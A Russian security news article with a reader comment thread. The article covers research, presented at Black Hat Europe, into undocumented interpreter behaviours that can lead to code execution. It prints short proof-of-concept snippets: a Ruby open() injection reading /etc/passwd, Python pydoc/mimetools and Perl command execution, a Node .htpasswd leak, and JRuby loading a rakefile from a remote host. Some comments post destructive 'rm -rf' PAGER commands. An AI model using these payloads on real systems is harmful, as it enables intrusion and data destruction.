The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Неявные свойства языков программирования, которые могут привести к уязвимостям

10.12.2017 00:07

Исследователи из компании IOActive представили на конференции Black Hat Europe доклад, в котором подвели итоги работы по выявлению недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован под лицензией GPLv3.

Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.

При проведении fuzzing-тестирования стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:

  • Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения PAGER при выполнении метода pager в pydoc. Например, для выполнения программы id можно использовать
    
       import mimetools 
       print(mimetools.pipeto(None,'id'))
    
       или
       import pydoc
       print(pydoc.pipepager(None,'id')
    
       или
       $ export PAGER="id> bar"
       $ python -c "import pydoc;pydoc.pager('foo')"
    
  • Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" (не входит в число core-модулей) для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):
    
       use ExtUtils::Typemaps::Cmd;
       print embeddable_typemap("system 'id'");
    
  • Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов require(), в случае попытки загрузки не JavaScript-файла будет сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла. Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.
  • Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:
    
       require "rake";
       puts Rake.load_rakefile("http://x.x.x.x/canaryfile");
    
  • Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:
    
       echo shell_exec(escapeshellcmd(bash." -c id"));
    
    приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.

  1. Главная ссылка к новости (https://www.reddit.com/r/netse...)
  2. OpenNews: Уязвимость в Guile, затрагивающая программы, привязанные к localhost
  3. OpenNews: Зафиксирована массовая атака на уязвимые версии Ruby on Rails
  4. OpenNews: Google продемонстрировал первую успешную атаку на алгоритм хеширования SHA-1
  5. OpenNews: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения
  6. OpenNews: Сравнения языков программирования с позиции безопасности написанного на них кода
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/47714-perl
Ключевые слова: perl, php, ruby, python
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (56) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.4, Аноним (-), 01:00, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...
     
     
  • 2.7, нах (?), 01:20, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • –9 +/
    список этих "нормальных" дятлов озвучьте, плиз. Он не должен быть большим.

    чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

     
     
  • 3.21, кавайи (?), 09:27, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +5 +/
    >чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

    ну и как восстановление пароля связано с запретом на выполнение консольных команд из скрипта?

     
  • 2.10, Аноним (-), 01:59, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Я надеялся что "нормальные" шареды уже сдохли в эпоху VPS за 1 евро. Вы меня огорчаете.
     
     
  • 3.30, anomymous (?), 13:42, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    "VPS за 1 евро" требует от хостящегося ещё знаний апача, нгинха, линухов, умения обновлять систему, следить за производительностью (ага, шаред можед оказаться лучше впс за 1 евро), обновлять всё это хозяйство, файрволить и т.п.

    В общем, накладных расходов получается сильно больше 1 евро. Поэтому шареды жили, живут, и жить будут.

     
     
  • 4.53, Аноним (-), 04:06, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет внутри ...
     
     
  • 5.60, amonymous (?), 14:37, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.
     
     
  • 6.69, Аноним (-), 01:07, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Это такой толстый тролинг? ну если у вас на тачке живут 1.5к хоумпаг с трафиком 2 поисковых бота и один живой юзер в день, то да шаред хостинг незаменим.
     
  • 3.82, Иван (??), 22:17, 20/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.
     
  • 2.40, pavlinux (ok), 20:38, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...

    Чем консольный head отличается от head.php?

     
     
  • 3.56, Anonymoustus (ok), 09:44, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Вот он — признак профессионализма. А ведь как умело притворялся…
     

  • 1.9, Gemorroj (ok), 01:55, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    про пхп.
    в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
    В будущих версиях неопределенные константы  будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migration72.incompatibl
    ---
    да и вообще, несколько притянуто за уши.
     
     
  • 2.38, Аноним (-), 19:59, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неопределенные константы; во-вторых, удивительно, сколько времени потребовалось, чтобы осознать ошибку.
     
     
  • 3.71, wd (?), 02:02, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    wd ~ % perl -le 'print "zzz".aaa."zzz"'
    zzzaaazzz
    wd ~ % perl -le 'sub aaa(){123};print "zzz".aaa."zzz"'
    zzz123zzz
    wd ~ % perl -wle 'sub aaa(){123};print "zzz".aaa."zzz"'
    zzz123zzz
    wd ~ % perl -wle 'print "zzz".aaa."zzz"'
    Unquoted string "aaa" may clash with future reserved word at -e line 1.
    zzzaaazzz

    но писать в продакшн без strict моветон...

     
     
  • 4.73, Аноним (-), 04:32, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > но писать в продакшн без strict моветон...

    и хрен бы с ним, можно и без если например научить себя по дефолту использовать конструкции которые не могуть дать неопределенность


    > print "zzz".aaa."zzz"

    вот от таких конструкции, например, надо уходить в определенность если программа у вас больше размером одного экрана или не одноразовая для личной конкретной задачи "здесь и сейчас". С определенностью будет так:

    > print "zzz".aaa()."zzz"

    PS: с perl надо понимать что и для чего вы делаете

     
     
  • 5.81, Клыкастый (ok), 13:20, 18/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > и хрен бы с ним, можно и без если например научить себя по дефолту

    Можно. Но зачем? И можно просто приучить себя к strict - и проще и правильнее.

     
  • 4.77, Anonymoustus (ok), 09:54, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > но писать в продакшн без strict моветон...

    Даже как-то не верится, что читаешь это на опеннете.

     

  • 1.14, Аноним (-), 04:17, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    И кто этот pipepager юзает? А со своим PAGER так вообще.

    Тоже мне новость, взяли не самые популярные модули и давай фаззить. Я уж было по заголовку подумал, что беда в самих языках. Тут отметился только open в Ruby и, ожидаемо, нода.

     
     
  • 2.15, Аноним (-), 06:37, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Да как бы нода тоже довольно притянута. Слабо себе представляю ситуацию, когда бы по пользовательскому вводу подгружались модули. + при этом нужно чтобы еще и стектрейс исключения выплевывался пользователю. Так сейчас мало кто делает.
     
     
  • 3.16, Аноним (-), 06:44, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксить, т.к. она не завязана какую-то функциональность, просто не очень аккуратно оформленное сообщение об ошибке. + только первая строчка файла. Вряд ли есть реальные системы, где это можно эксплуатировать.
     

  • 1.17, Аноним (-), 06:44, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А где же жаба?
     
     
  • 2.34, лютый жабист__ (?), 14:30, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Неуязвима само собой :>
     
     
  • 3.47, Аноним84701 (ok), 23:28, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    В смысле, https www opennet ru opennews art shtml num 46167 https www openn... большой текст свёрнут, показать
     
     
  • 4.79, qsdg (ok), 01:13, 14/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Статья была про языки, а не про конкретные программы. Или та дыра была из-за какой-то фичи именно Жабы, из-за которой легко допустить ошибку?
     
  • 2.54, qrKot (?), 09:12, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    >> А где же жаба?

    Читаем новость:
    "недокументированной функциональности в интерпретируемых языках программирования"
    "интерпретируемых языках программирования"
    "интерпретируемых"

     
     
  • 3.78, qsdg (ok), 01:09, 14/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Мистер не знает, что Жаба -- интерпретируемый язык :)

    У неё есть встроенный JIT компилятор (как и у почти всех остальных интерпретируемых языков). Для фанатов есть внешние AOT компиляторы, но я на практике не видел, чтобы ими особо пользовались.

    Читаем primary goals of java:
    ...
    5. It must be "interpreted, threaded, and dynamic".

    https://en.wikipedia.org/wiki/Java_(programming_language)

     

  • 1.19, ыы (?), 08:38, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Гора родила мышь...

    Table 2: Number of functions tested per category
    Category Number of Functions Tested
    JavaScript 450
    PHP 1405
    Ruby 2483
    Perl 3105
    Python 3814

     
     
  • 2.20, Аноним (-), 08:52, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Вообще интересно как они исследуют/тестируют так как к примеру в perl упомянутый модуль не входит в базовую поставку, соответственно данная проблема будет только у тех кто пользуется этим модулем. Каким образом они вышли на этот модуль? Они весь cpan подвергают фаззингу?
     
     
  • 3.39, Stop (?), 20:09, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Без упоминания перла любой обзор про скриптовые языки становится кастрированным.
    Пришлось натягивать сову на глобус.
     
  • 3.49, Khedin (?), 23:35, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    ...включая довольно популярные модули. И в свежепоставленном perlbrew 5.26.1 (последний) он тоже есть. Не баран чихнул.

    https://metacpan.org/requires/distribution/ExtUtils-ParseXS?p=1&sort=%5B&

     
     
  • 4.63, angra (ok), 20:44, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.
     
     
  • 5.74, Аноним (-), 07:16, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Докладываю ExtUtils Typemaps Cmd pm использует никто, поэтому ExtUtils Typem... большой текст свёрнут, показать
     
     
  • 6.75, Аноним (-), 07:18, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > этим коммитом https://perl5.git.perl.org/perl.git/commit

    холикрап, вот урл вашей собаке: https://perl5.git.perl.org/perl.git/commitdiff/dbeddf837c5004f969a98eb4c1054cc

     

  • 1.22, trolleybus (?), 10:54, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    > Неявные свойства языков программирования

    Вообще-то не языков, а реализаций

     
  • 1.23, Аноним (-), 11:15, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Получите, адепты типа безопасных языков.
     
  • 1.24, ano (??), 11:32, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    мышки и кактусы все в одном месте.
     
  • 1.25, Аноним (-), 12:41, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    $ export PAGER='rm -rf  /'
    $ git diff
     
     
  • 2.41, pavlinux (ok), 20:43, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > $ export PAGER='rm -rf  /'
    > $ git diff

    О мамонт, если ты был в заморозке последние 15 лет, то просвещаю: 'rm -rf /' не работает.

     
     
  • 3.44, anonimus (?), 22:10, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Суть уловить не судьба?
     
  • 3.59, PnDx (ok), 13:16, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Попробуйте так:
    export PAGER='rm -rf  /* 2>/dev/null'
    git diff
    #"Удовлетворение 100% гарантируем" ©
     

  • 1.32, Аноним (-), 13:45, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Да там сами языки - одна большая уязвимость. Особенно JS и PHP с их безумной типизацией.
     
     
  • 2.57, Anonymoustus (ok), 09:50, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Зато вот принято говорить, что низок порог вхождения, ага.
     
     
  • 3.65, Led (ok), 22:22, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > Зато вот принято говорить, что низок порог вхождения, ага.

    Это не порог, это плинтус.

     
     
  • 4.67, антон (??), 22:49, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    ... вхождения в ад, вниз, под плинтус.
     
  • 2.80, Аноним (-), 16:50, 14/12/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Компьютеры - одна большая уязвимость.
     

  • 1.35, stalkerdroad (ok), 15:04, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    >> PHP
    >> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу

    В современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.

     
     
  • 2.42, pavlinux (ok), 20:45, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > В современных сайтах

    Кто такие "современные сайты" и где живёт "входной скрипт"? :)

     
     
  • 3.52, rshadow (ok), 01:06, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    По всей видимости имеется ввиду сайт на современном фреймворке. Где в целях "красивого" роутинга используется единая точка входа всех запросов.
     
     
  • 4.58, stalkerdroad (ok), 12:15, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > в целях "красивого" роутинга

    И в целях безопасности. Файл Точки Входа может быть в папке htdocs, а остальные скрипты вообще в другой папке недоступной для вебсервера.

    И в целях удобства обработки запросов. Когда на сайте сотни страниц (скриптов), то естественно придёшь к идее что нужно всё както упорядочить. И сделать единую точку входа.

     

  • 1.36, Аноним (-), 16:19, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Популярными становятся языки, которые пытаются казаться более умными и дружественными программисту: удобно же, когда можно особо передать что угодно в open и оно откроется, а то, что язык в результате становиться менее предсказуемым и более магическим не так важно, ведь чтобы стать популярным, язык должен угождать.
     
     
  • 2.37, Аноним (-), 16:23, 10/12/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Недоредактировал:
    s/особо//
    s/становиться/становится/
     

  • 1.46, Аноним (-), 22:33, 10/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/
    Использую перл последние 18 лет, о существовании модуля 'ExtUtils::Typemaps::Cmd' узнал только что из этой статьи.
     
     
  • 2.55, Аноним (-), 09:40, 11/12/2017 [^] [^^] [^^^] [ответить]  
  • –5 +/
    Используешь перл - имеется в виду используешь софт, который использует перл?
    ну тогда и я знаю си с самого 1995 года (а учиться программированию начал в 2007)
     
     
  • 3.72, Аноним (-), 04:13, 12/12/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Используешь перл - имеется в виду используешь софт
    > а учиться программированию начал

    мог бы и не начинать

     

  • 1.50, Аноним (-), 00:01, 11/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    >является давно известная особенность открытия ссылок через функцию open()

    zero-cost abstractions такие zero-cost

     
  • 1.70, Аноним (-), 01:13, 12/12/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    тогда уж вот так
    puts Rake.load_rakefile(my_var);
    И да, мы тут всей конторой грузим исполняемые файлы из переменных, при этом специально не проверяем их ))
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру